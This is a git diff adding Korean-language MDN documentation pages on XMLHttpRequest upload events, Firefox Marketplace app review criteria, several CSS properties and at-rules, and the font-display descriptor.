+ <tr>
+ <td>{{event("loadstart")}}</td>
+ <td>{{domxref("XMLHttpRequest.onloadstart", "onloadstart")}}</td>
+ <td>업로드가 시작되었습니다.</td>
+ </tr>
+ <tr>
+ <td>{{event("progress")}}</td>
+ <td>{{domxref("XMLHttpRequest.onprogress", "onprogress")}}</td>
+ <td>지금까지 진행된 상태를 정기적으로 제공합니다.</td>
+ </tr>
+ <tr>
+ <td>{{event("abort")}}</td>
+ <td>{{domxref("XMLHttpRequest.onabort", "onabort")}}</td>
+ <td>업로드가 중단되었습니다.</td>
+ </tr>
+ <tr>
+ <td>{{event("error")}}</td>
+ <td>{{domxref("XMLHttpRequest.onerror", "onerror")}}</td>
+ <td>에러로 인해 업로드에 실패했습니다.</td>
+ </tr>
+ <tr>
+ <td>{{event("load")}}</td>
+ <td>{{domxref("XMLHttpRequest.onload", "onload")}}</td>
+ <td>업로드가 성공적으로 완료되었습니다.</td>
+ </tr>
+ <tr>
+ <td>{{event("timeout")}}</td>
+ <td>{{domxref("XMLHttpRequest.ontimeout", "ontimeout")}}</td>
+ <td>{{domxref("XMLHttpRequest.timeout")}}에 명시되어 있는 시간 간격 내에 응답이 도착하지 않아, 업로드 시간이 초과되었습니다.</td>
+ </tr>
+ <tr>
+ <td>{{event("loadend")}}</td>
+ <td>{{domxref("XMLHttpRequest.onloadend", "onloadend")}}</td>
+ <td>업로드가 완료되었습니다. 이 이벤트는 성공과 실패를 구분하지 않고 결과에 관계없이 업로드가 끝나면 전송됩니다. 이 이벤트 발생 이전에는 전송이 종료된 이유를 나타내기 위해 <code>load</code>, <code>error</code>, <code>abort</code>, <code>timeout</code> 중 하나를 전달합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest', '#the-upload-attribute')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>WHATWG living standard</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.upload")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/File_Handle_API">FileHandle API</a></li>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a></li>
+</ul>
diff --git a/files/ko/web/apps/design/index.html b/files/ko/web/apps/design/index.html
new file mode 100644
index 0000000000..23bba7ac10
--- /dev/null
+++ b/files/ko/web/apps/design/index.html
@@ -0,0 +1,35 @@
+---
+title: 열린 웹 응용프로그램들 설계하기
+slug: Web/Apps/Design
+tags:
+ - Apps
+ - Beginner
+ - CSS
+ - Design
+ - Examples
+ - Guide
+ - Layout
+ - Mobile
+ - NeedsTranslation
+ - Styleguides
+ - TopicStub
+ - UX
+ - Usability
+ - Web Development
+ - patterns
+translation_of: Archive/Apps/Design
+---
+<div class="summary">
+<p>In this section, we'll introduce design and UX principles to incorporate into your Open Web Apps. In an effort to help you kickstart your project, we have included links to relevant examples and style guides.</p>
+</div>
+
+<h2 id="일반_웹_앱_디자인">일반 웹 앱 디자인</h2>
+
+<p>The items under this section apply generally to Web app design.</p>
+
+<dl>
+ <dt><a href="/ko/Apps/Design/Planning">계획하기</a></dt>
+ <dd>The articles in this section provide information on planning a successful Web app, including high level planning ideas and general design principles.</dd>
+ <dt><a href="/en-US/Apps/Design/UI_layout_basics">UI 배치의 기본</a></dt>
+ <dd>These articles provide guides and theory behind implementing effective layouts for Open Web Apps, including responsive design, flexible boxes, etc.</dd>
+</dl>
diff --git a/files/ko/web/apps/publishing/marketplace_review_criteria/index.html b/files/ko/web/apps/publishing/marketplace_review_criteria/index.html
new file mode 100644
index 0000000000..d6627ca4fd
--- /dev/null
+++ b/files/ko/web/apps/publishing/marketplace_review_criteria/index.html
@@ -0,0 +1,77 @@
+---
+title: Marketplace 리뷰 가이드
+slug: Web/Apps/Publishing/Marketplace_review_criteria
+translation_of: Archive/Mozilla/Marketplace/Publishing/Marketplace_review_criteria
+---
+<p>이 문서에서는 Firefox Marketplace를 통해 배포되는 앱이 충족해야 할 일련의 요구 사항을 설명합니다. 이러한 요건은 Marketplace에서 배포되는 앱 개발자 및 사용자 양쪽의 요구에 대한 균형을 맞추도록 설계되어 있습니다. 개발자는 앱을 사용한 비즈니스를 성립시키기 위해 신뢰할 만한 균형을 가지고, 일관성이 있고 너무 엄격하지 않은 조건을 요구하고 있습니다. 한편 사용자는 앱이 안전하고, 자신의 단말기에서 동작하는 설명대로 동작한다는 보증을 요구하고 있습니다. 이하에서 설명하는 앱의 요건은 이러한 요구의 균형을 목적으로 하고 있습니다.</p>
+<p>앱을 검토(Review)하는 부분과 그렇지 않은 부분에 대해 Mozilla의 생각은 다음과 같습니다.</p>
+<ul>
+ <li>평가 기준은 공평하고, 배려를 가진 일관성 있는 방법으로 적용됩니다. 앱의 검토 프로세스는 문지기(Gatekeeper) 같은 존재가 되는 것을 의도하지 않고, 오히려 개발자의 성공을 돕기 위해 피드백을 제공하고 신뢰할 수 있는 접점에 있다고 생각합니다.</li>
+ <li>평가 검토 담당자는 품질 보증 팀이 아닙니다. 검토 프로세스 안에서 누군가가 앱 매니 페스트를 살펴 보고, 일반 사용자와 똑같이 앱의 사용법을 습득하는 데 시간을 보내게 됩니다.</li>
+ <li>앱이 검토를 통과하지 못한 경우, 문제와 재현 방법의 알기 쉬운 설명이 개발자에 제공되며, 검토자는 가능하면 관련 기술 지원 자료에 대한 링크를 제공함으로써 개발자를 올바른 방향으로 이끌어 바꾸어할 변경 사항에 대해 권장을 하거나 해야 합니다.</li>
+ <li>검토 담당자는 앱 "외형"에 대한 판단은 하지 않고 앱 "동작"에 대해서만 확인합니다. 예를 들면, 오렌지의 배경 색에 빨간 글씨를 올린 단락을 포함한 앱이 있었다고 해도 못생겼다고 앱을 거절하지 않습니다. 만일 가독성에 문제가 있으면 거절될 가능성도 있습니다.</li>
+ <li>우리는 항상 "예상 외의 결과를 내리지 않는다"라는 원칙을 지킵니다. 앱을 거절해야 할지 확신이 없는 상태에서 검토자는 결정을 내리기 "전에" 개발자에게 질문합니다. 앱은 개발자가 제어할 수 없는 플랫폼 문제로 인해 (고의로) 거절되지 않습니다. 다만, 앱이 아예 동작하지 않는 경우, 승인을 보류할 가능성은 있습니다.</li>
+</ul>
+<h2 id="Security" name="Security">보안</h2>
+<p>앱의 보안 아키텍처에 관한 설명은<a href="https://wiki.mozilla.org/Apps/Security"> https://wiki.mozilla.org/Apps/Security</a>에서 볼 수 있습니다.</p>
+<ul>
+ <li>앱 매니 페스트는 앱과 같은 위치(Same Origin)에서 공개 해야 합니다.</li>
+ <li>앱 매니 페스트는<code> application/x-web-app-manifest+json</code>의<code>Content-Type </code>헤더에서 공개해야 합니다.</li>
+ <li>앱은 리디렉션이나 인라인 프레임을 사용해 개발자가 사용을 인정 받지 않은 내용을 가져와서는 안됩니다.</li>
+ <li>요청되는 사용 권한은 사용 권한이 필요한 이유와 함께 앱 매니 페스트에 명기되어야 합니다.</li>
+</ul>
+<h2 id="Privacy" name="Privacy">개인 정보</h2>
+<ul>
+ <li>등록 시 개발자는 개인 정보 정책의 URL을 입력해야 하나, 개인 정보 보호 정책의 형식과 내용에 대한 요구 사항이 없습니다. <a href="https://github.com/flamsmark/privacy-policy-template">개인 정보 정책 샘플</a>을 준비하고 있기 때문에 자유롭게 사용해 주십시오. Mozilla의 <a href="/ko/docs/Privacy_policies">개인 정보 정책 가이드 라인</a>도 함께 살펴 보세요.</li>
+</ul>
+<h2 id="Content" name="Content">콘텐츠</h2>
+<ul>
+ <li>아래 콘텐츠 가이드 라인에 반하는 앱은 허용하지 않습니다. 가이드 라인에 저촉될지 아슬아슬한 상태라고 생각하려면 앱의 등록 준비가 완료되기 전이라도 검토 팀에 명확한 판단을 구하세요. 우리는 개발자들이 바로 거절될 콘텐츠의 개발에 시간을 투자하는 것보다 올바른 방향성을 유지하기 지원하고 싶습니다.</li>
+ <li>브라질에서 게임을 배포할 경우 개발자는 DEJUS에 의한 평가 기준을 의뢰해 그 결과를<a href="mailto:apps-reviewers@mozilla.org?subject=DEJUS%20Rating"> apps-reviewers@mozilla.org</a>로 보내야 합니다.</li>
+ <li>Firefox Marketplace에 등록할 스크린 샷과 설명문은 앱에 대해 적절히 표현해야 합니다.</li>
+ <li>앱 매니 페스트의 <a href="/ko/docs/Web/Apps/Manifest#locales"><code>locale</code>키</a>는 앱이 대응하는 지역화와 일치하지 해야 합니다. 예를 들면 폴란드어의<code> locale</code>키를 설정하면 사용자는 폴란드어로 앱이 이용 가능하다고 기대합니다.</li>
+</ul>
+<h3 id="Content_guidelines" name="Content_guidelines">콘텐츠 가이드 라인</h3>
+<p>이 목록은 Firefox Marketplace에 부적절한 내용 유형을 설명한 것입니다. 이 항목은 확정적이 아니라 구체적인 것으로, 향후 업데이트될 수 있습니다. 응용 프로그램이 이러한 내용 가이드 라인에 반하는 것이 확인된 경우 Mozilla는 Firefox Marketplace에서 응용 프로그램을 즉시 삭제할 권리를 가지고 있습니다.</p>
+<ul>
+ <li>음란한 소재, 또는 성이나 폭력 묘사는 인정하지 않습니다.</li>
+ <li>지적 재산, 기타 소유권, 개인 정보,  초상권 등 타인의 권리를 침해하는 콘텐츠는 인정하지 않습니다.</li>
+ <li>Mozilla나 사용자에게 손해를 주는 것을 목적으로 한 콘텐츠(악성 코드, 바이러스, 스파이 웨어, 악성 프로그램 등)은 인정하지 않습니다.</li>
+ <li>불법 콘텐츠 또는 불법 행위를 조장하는 콘텐츠는 인정하지 않습니다.</li>
+ <li>허위 사실 정보를 주고 피싱 사기, 기타 개인 정보 절도를 목적으로 한 콘텐츠는 인정하지 않습니다.</li>
+ <li>도박 행위를 조장하는 콘텐츠는 인정하지 않습니다.</li>
+ <li>위법 또는 규제된 제품이나 서비스의 광고에 관련된 콘텐츠는 인정하지 않습니다.</li>
+ <li>아동을 착취하는 콘텐츠는 인정하지 않습니다.</li>
+ <li>연령, 성별, 인종, 민족, 국적, 신앙, 성적 지향, 장애, 지리적 위치, 기타 보호된 분류에 따라 인물이나 집단의 평판을 떨어뜨리거나 그것들에 대한 위협이 되거나 폭력을 유발하거나 편견을 조장하는 콘텐츠 또는 차별 발언에 해당하는 콘텐츠는 인정하지 않습니다.</li>
+ <li>사용자를 속여 구매 결정을 행하게 하는 콘텐츠는 인정하지 않습니다.</li>
+</ul>
+<h2 id="Functionality" name="Functionality">기능성</h2>
+<ul>
+ <li>앱의 기본적인 기능을 검토자가 실행할 수 있어야 합니다. 사소한 문제나 심각하지 않은 상태는 개발자에게 보고하지만, 이로 인해 앱의 승인을 막는 것은 아닙니다.</li>
+ <li>앱은 시스템 성능 및 안정성을 떨어뜨려서는 안됩니다.</li>
+</ul>
+<h2 id="Usability" name="Usability">사용성</h2>
+<ul>
+ <li>개발자는 대상 플랫폼에 레이아웃을 최적화할 충분한 작업을 수행합니다. 이 요건은 다음과 같은 분명한 문제를 막는 것을 목적으로 하고 있습니다.
+ <ul>
+ <li>모바일용으로 등록된 앱인데, 분명히 데스크탑용 사이트이다.</li>
+ <li>이용 가능한 화면 공간을 전혀 활용하고 있지 않다(예를 들면, 320x480 크기의 앱이 있으면, 태블릿의 화면 모퉁이에 위치하여 화면의 나머지 공간은 비어 있는 경우).</li>
+ </ul>
+ </li>
+ <li>앱은 독자적인 탐색 방법을 구현하고 브라우저의 UI나 하드웨어의 돌아오기 버튼에 의존해서는 안됩니다. 모든 단말기에 그런 기능이 있다고 할 수 없습니다.
+ <ul>
+ <li>예를 들면, 검토자가 앱에서 어딘가에 옮겨 제자리로 돌아갈 수 없는 경우가 있을수도 있습니다. 앱이 네이티브 앱에서 일반적인 버튼 바를 구현해야 한다는 뜻은 아닙니다.</li>
+ <li>주의: 기존 레거시 웹앱을 위해 Gaia "래퍼"가 개발 중입니다: <a href="https://github.com/mozilla-b2g/gaia/issues/2557">https://github.com/mozilla-b2g/gaia/issues/2557</a></li>
+ </ul>
+ </li>
+ <li>버튼이나 링크 등의 탐색 요소는 쉽게 클릭하거나 탭할 수 있어야 합니다.</li>
+</ul>
+<h2 id="Blocklisting_policy" name="Blocklisting_policy">차단 목록 추가 정책</h2>
+<p>우리는 원하지는 않지만, 노출된 앱이, 보안, 개인 정보, 콘텐츠 요건에 반하고 혹은 시스템이나 네트워크의 성능을 크게 저하시키는 것이 나중에 밝혀질 경우 그것을 Marketplace에서 제거("차단 목록"에 추가하는) 권리를 가지고 있습니다. 그러한 상황이 되었을 경우, 개발자는 앱이 차단 목록에 추가되기 전에 통보를 받고 뭔가 구체적 증거가 발견하지 않는 한 "착한 시민"으로 간주됩니다. 또한, 앱의 검토 팀은 무슨 일이 일어나는지를 전달해 문제를 해결하기 위한 충분한 지원을 제공합니다. 차단 목록에 추가가 인정되는 상황의 구체적인 예는 다음과 같은 것입니다.</p>
+<ul>
+ <li>피싱</li>
+ <li>스팸 행위</li>
+ <li>Puppy Pictures v1.0에서 Brutal Violence v1.0에 콘텐츠 수정(콘텐츠의 레이팅 기능이 구현되면 그것을 업데이트하지 않고 행하는 변경은 인정하지 않습니다)</li>
+ <li>앱의 대다수의 사용자에게 심각한 문제. 예를 들면 통화 성능 저하 시스템 재시작 유발, 데이터 소실 등. 앱이 그 원인임을 사용자가 인식하지 못해 단말의 재시작에 의해서도 해결하지 않습니다.</li>
+ <li>분산 서비스 거부(DDoS)공격 등 네트워크상에서의 공격에 이용되는 앱</li>
+</ul>
diff --git a/files/ko/web/css/-moz-image-region/index.html b/files/ko/web/css/-moz-image-region/index.html
new file mode 100644
index 0000000000..1bc12db1e6
--- /dev/null
+++ b/files/ko/web/css/-moz-image-region/index.html
@@ -0,0 +1,54 @@
+---
+title: '-moz-image-region'
+slug: Web/CSS/-moz-image-region
+tags:
+ - CSS
+ - CSS Property
+ - 'CSS:Mozilla Extensions'
+ - Non-standard
+translation_of: Web/CSS/-moz-image-region
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>XUL 요소와 가상요소들에 대하여 {{ Cssxref("list-style-image") }}  속성을 사용할때 이 속성은 전체이미지에서 사용되는 부분의 령역을 지정합니다.  이것은 요소들이 성능을 향상시키기 위해 같은 이미지의 서로다른 부분을 사용할수 있게 합니다.</p>
+
+<pre class="brush: css">/* Keyword value */
+-moz-image-region: auto;
+
+/* &lt;shape&gt; value */
+-moz-image-region: rect(0, 8px, 4px, 4px);
+
+/* Global values */
+-moz-image-region: inherit;
+-moz-image-region: initial;
+-moz-image-region: unset;</pre>
+
+<p> </p>
+
+<p>문법은 {{ Cssxref("clip") }}속성과 류사합니다. 4개의 값은 모두 이미지의 외쪽 웃모서리로부터 상대적입니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre>-moz-image-region: rect(<em>top</em>, <em>right</em>, <em>bottom</em>, <em>left</em>);</pre>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre>#example-button {
+ /* display only the 4x4 area from the top left of this image */
+ list-style-image: url("chrome://example/skin/example.png");
+ -moz-image-region: rect(0px, 4px, 4px, 0px);
+}
+#example-button:hover {
+ /* use the 4x4 area to the right of the first for the hovered button */
+ -moz-image-region: rect(0px, 8px, 4px, 4px);
+}</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.-moz-image-region")}}</p>
diff --git a/files/ko/web/css/-webkit-line-clamp/index.html b/files/ko/web/css/-webkit-line-clamp/index.html
new file mode 100644
index 0000000000..1c08a3f70b
--- /dev/null
+++ b/files/ko/web/css/-webkit-line-clamp/index.html
@@ -0,0 +1,111 @@
+---
+title: '-webkit-line-clamp'
+slug: Web/CSS/-webkit-line-clamp
+tags:
+ - CSS
+ - CSS Property
+ - Non-standard
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/-webkit-line-clamp
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>-webkit-line-clamp</code></strong> CSS 속성은 {{Glossary("block container", "블록 컨테이너")}}의 콘텐츠를 지정한 줄 수만큼으로 제한합니다.</p>
+
+<p>{{cssxref("display")}} 속성을 <code>-webkit-box</code> 또는 <code>-webkit-inline-box</code>로, 그리고 {{cssxref("-webkit-box-orient")}} 속성을 <code>vertical</code>로 설정한 경우에만 동작합니다.</p>
+
+<p><code>-webkit-line-clamp</code>만 사용하는 경우, 말줄임표는 노출되나 넘친 콘텐츠가 숨겨지지 않으므로 대개 {{cssxref("overflow")}} 속성 또한 <code>hidden</code>으로 설정해야 합니다.</p>
+
+<p>앵커 요소에 적용한 경우 텍스트의 끝이 아니라 중앙에서 잘리는 경우도 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>:<code>-webkit-line-clamp</code>는 원래 WebKit이 구현했었으며 몇몇 문제점을 가지고 있으나 레거시 지원을 위해 표준화를 거쳤습니다. <a href="https://www.w3.org/TR/css-overflow-3/#propdef--webkit-line-clamp">CSS Overflow Module Level 3</a> 명세의 {{cssxref("line-clamp")}}가 <code>-webkit-line-clamp</code>를 대체하기 위해 정의된 속성입니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css notranslate">/* 키워드 값 */
+-webkit-line-clamp: none;
+
+/* &lt;integer&gt; 값 */
+-webkit-line-clamp: 3;
+-webkit-line-clamp: 10;
+
+/* 전역 값 */
+-webkit-line-clamp: inherit;
+-webkit-line-clamp: initial;
+-webkit-line-clamp: unset;
+</pre>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>콘텐츠를 자르지 않습니다.</dd>
+ <dt>{{cssxref("integer")}}</dt>
+ <dd>몇 줄 뒤에 콘텐츠를 자를지 지정합니다. 0보다 커야 합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="문단_자르기">문단 자르기</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+ In this example the &lt;code&gt;-webkit-line-clamp&lt;/code&gt; property is set to &lt;code&gt;3&lt;/code&gt;, which means the text is clamped after three lines.
+ An ellipsis will be shown at the point where the text is clamped.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+ width: 300px;
+ display: -webkit-box;
+ -webkit-box-orient: vertical;
+ -webkit-line-clamp: 3;
+ overflow: hidden;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("예제", "100%", "100")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Overflow", "#propdef--webkit-line-clamp", "-webkit-line-clamp")}}</td>
+ <td>{{Spec2("CSS3 Overflow")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.-webkit-line-clamp")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/line-clampin/">Line Clampin’ (Truncating Multiple Line Text)</a></li>
+ <li>{{cssxref("line-clamp")}}</li>
+</ul>
diff --git a/files/ko/web/css/-webkit-overflow-scrolling/index.html b/files/ko/web/css/-webkit-overflow-scrolling/index.html
new file mode 100644
index 0000000000..ef195eed02
--- /dev/null
+++ b/files/ko/web/css/-webkit-overflow-scrolling/index.html
@@ -0,0 +1,86 @@
+---
+title: '-webkit-overflow-scrolling'
+slug: Web/CSS/-webkit-overflow-scrolling
+tags:
+ - CSS
+ - CSS Property
+ - Non-standard
+ - Reference
+translation_of: Web/CSS/-webkit-overflow-scrolling
+---
+<div>{{CSSRef}} {{Non-standard_header}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>-webkit-overflow-scrolling</code></strong> 속성은 터치 단말기에서 주어진 요소의 모멘텀 기반 스크롤 활성화 여부를 결정합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="값">값</h2>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>"일반적"인 스크롤을 사용합니다. 즉 손가락을 터치 화면에서 떼는 순간 스크롤이 멈춥니다.</dd>
+ <dt><code>touch</code></dt>
+ <dd>모멘텀 기반 스크롤을 사용합니다. 스크롤 제스쳐가 끝나고 손가락을 터치 화면에서 떼어도 잠시 스크롤이 지속됩니다. 지속 속도와 시간은 스크롤 제스쳐의 세기에 따라 달라집니다. 또한 새로운 {{glossary("stacking context", "쌓임 맥락")}}을 생성합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="scroll-touch"&gt;
+ &lt;p&gt;
+ This paragraph has momentum scrolling
+ &lt;/p&gt;
+&lt;/div&gt;
+&lt;div class="scroll-auto"&gt;
+ &lt;p&gt;
+ This paragraph does not.
+ &lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+ width: 100%;
+ overflow: auto;
+}
+
+p {
+ width: 200%;
+ background: #f5f9fa;
+ border: 2px solid #eaf2f4;
+ padding: 10px;
+}
+
+.scroll-touch {
+ -webkit-overflow-scrolling: touch; /* Lets it scroll lazy */
+}
+
+.scroll-auto {
+ -webkit-overflow-scrolling: auto; /* Stops scrolling immediately */
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<p>명세에 속하지 않습니다. Apple의 <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/css/property/-webkit-overflow-scrolling">Safari CSS Reference에 설명이 있습니다</a>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.-webkit-overflow-scrolling")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://css-tricks.com/snippets/css/momentum-scrolling-on-ios-overflow-elements/">CSS-Tricks article with demo</a></li>
+</ul>
diff --git a/files/ko/web/css/@charset/index.html b/files/ko/web/css/@charset/index.html
new file mode 100644
index 0000000000..6cdeb08fb5
--- /dev/null
+++ b/files/ko/web/css/@charset/index.html
@@ -0,0 +1,78 @@
+---
+title: '@charset'
+slug: Web/CSS/@charset
+tags:
+ - At-rule
+ - CSS
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/@charset
+---
+<div>{{ CSSRef }}</div>
+
+<p><strong><code>@charset</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> <a href="/ko/docs/Web/CSS/At-rule" title="At-rule">at-규칙</a>은 스타일 시트에 쓰이는 문자 인코딩을 지정합니다. 스타일 시트의 첫 번째 요소여야 하며 어떤 문자가 선행되지 않아야 합니다; <a href="/ko/docs/Web/CSS/Syntax#nested_statements" title="nested_statements">중첩된 문</a>이 아니기에, <a href="/ko/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="At-rule#Conditional_Group_Rules">조건부 그룹 at-규칙</a> 내에 사용될 수 없습니다. 여러 <code>@charset</code> at-규칙이 정의된 경우, 첫 번째 것만 사용되고 HTML 요소의 <code>style</code> attribute 또는 HTML 페이지의 문자 집합과 관련 있는 {{ HTMLElement("style") }} 요소 내에서 사용될 수 없습니다.</p>
+
+<pre class="brush: css">@charset "utf-8";
+</pre>
+
+<p>이 at-규칙은 {{ cssxref("content") }}처럼 일부 CSS 속성(property)에서 비 ASCII 문자를 사용할 때 유용합니다.</p>
+
+<p>스타일 시트의 문자 인코딩을 정의하는 여러 방법이 있기에, 브라우저는 다음과 같은 순서로 다음 방법을 시도합니다( 그리고 하나가 결과를 산출하자 마자 곧 멈춥니다):</p>
+
+<ol>
+ <li>파일의 시작 부분에 놓이는 <a href="http://en.wikipedia.org/wiki/Byte_order_mark" title="Byte_order_mark">Unicode byte-order</a> 문자값.</li>
+ <li><code>Content-Type:</code> HTTP 헤더의 <code>charset</code> attribute 또는 스타일 시트를 제공하는 데 쓰이는 프로토콜 등가물에 주어진 값.</li>
+ <li><code>@charset</code> CSS at-규칙.</li>
+ <li>참조하는 문서에 의해 정의된 문자 인코딩 사용: {{ HTMLElement("link") }} 요소의 <code>charset</code> attribute. 이 메서드는 HTML5에서 폐기(obsolete)되어 사용해서는 안됩니다.</li>
+ <li>문서가 UTF-8이라고 가정</li>
+</ol>
+
+<h2 id="구문">구문</h2>
+
+<pre>@charset "UTF-8";
+@charset 'iso-8859-15';
+</pre>
+
+<p>where:</p>
+
+<dl>
+ <dt style="margin: 0 40px;"><em>charset</em></dt>
+ <dd style="margin: 0 40px;">사용되는 문자 인코딩을 나타내는 {{cssxref("&lt;string&gt;")}}입니다. <a href="http://www.iana.org/assignments/character-sets">IANA-registry</a>에 정의된 웹 안전 문자 인코딩의 이름이어야 합니다. 여러 이름이 인코딩과 관련된 경우, <em>preferred</em>로 표시된 것만 사용되어야 합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">@charset "UTF-8";      /* 스타일 시트의 인코딩을 Unicode UTF-8로 설정 */
+@charset 'iso-8859-15'; /* 스타일 시트의 인코딩을 Latin-9 (서유럽어, euro sign 있는) 로 설정 */
+ @charset "UTF-8"; /* 무효한, at-규칙 앞에 문자(공백)가 있음 */
+@charset UTF-8; /* 무효한, ' 또는 " 없는 문자집합 CSS {{cssxref("&lt;string&gt;")}}이 아님 */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'syndata.html#x57', '@charset') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.charset")}}</p>
diff --git a/files/ko/web/css/@font-face/font-display/index.html b/files/ko/web/css/@font-face/font-display/index.html
new file mode 100644
index 0000000000..20d334f95c
--- /dev/null
+++ b/files/ko/web/css/@font-face/font-display/index.html
@@ -0,0 +1,101 @@
+---
+title: font-display
+slug: Web/CSS/@font-face/font-display
+translation_of: Web/CSS/@font-face/font-display
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font-display</code></strong> 설명자(descriptor)는 font face가 표시되는 방법을 결정합니다. 이는 다운로드 여부와 사용 시기에 따라 다릅니다.</p>
+
+<h2 id="The_font_display_timeline">The font display timeline</h2>
+
+<p>font display 시각표는 유저 에이전트가 지정된 다운로드 폰트를 사용하려는 순간 시작하는 타이머를 기반으로 합니다. 시각표는 아래의 세 가지 기간(period)으로 나뉘어져 font face를 사용하는 모든 요소(element)의 렌더링 동작을 나타냅니다.</p>
+
+<dl>
+ <dt>폰트 차단 기간</dt>
+ <dd>font face가 로드되지 않은 경우 font face를 사용하려는 요소는 <em>보이지 않는</em> 대체 폰트를 렌더링 합니다. 이 기간 동안 font face가 성공적으로 로드되면 요청된 폰트로 다시 렌더링 됩니다.</dd>
+ <dt>폰트 교체 기간</dt>
+ <dd>font face가 로드되지 않은 경우 font face를 사용하려는 요소는 (텍스트가 표시되는)대체 폰트를 렌더링 합니다. 이 기간 동안 font face가 성공적으로 로드되면 요청된 폰트로 다시 렌더링 됩니다.</dd>
+ <dt>폰트 실패 기간</dt>
+ <dd>font face가 로드되지 않은 경우 유저 에이전트는 로드 실패로 취급하고 정상적인 대체 폰트를 렌더링 합니다.</dd>
+</dl>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css; notranslate">/* Keyword values */
+font-display: auto;
+font-display: block;
+font-display: swap;
+font-display: fallback;
+font-display: optional;</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>font display 전략은 유저 에이전트에 의해 정의됩니다.</dd>
+ <dt><code>block</code></dt>
+ <dd>font face에 짧은 차단 기간과 무한대의 교체 기간을 부여합니다.</dd>
+ <dt><code>swap</code></dt>
+ <dd>font face에 매우 작은 차단 기간과 무한대의 교체 기간을 부여합니다.</dd>
+ <dt><code>fallback</code></dt>
+ <dd>font face에 매우 작은 차단 기간과 짧은 교체 기간을 부여합니다.</dd>
+ <dt><code>optional</code></dt>
+ <dd>font face에 매우 작은 차단 기간과 교체 기간을 부여합니다.</dd>
+</dl>
+
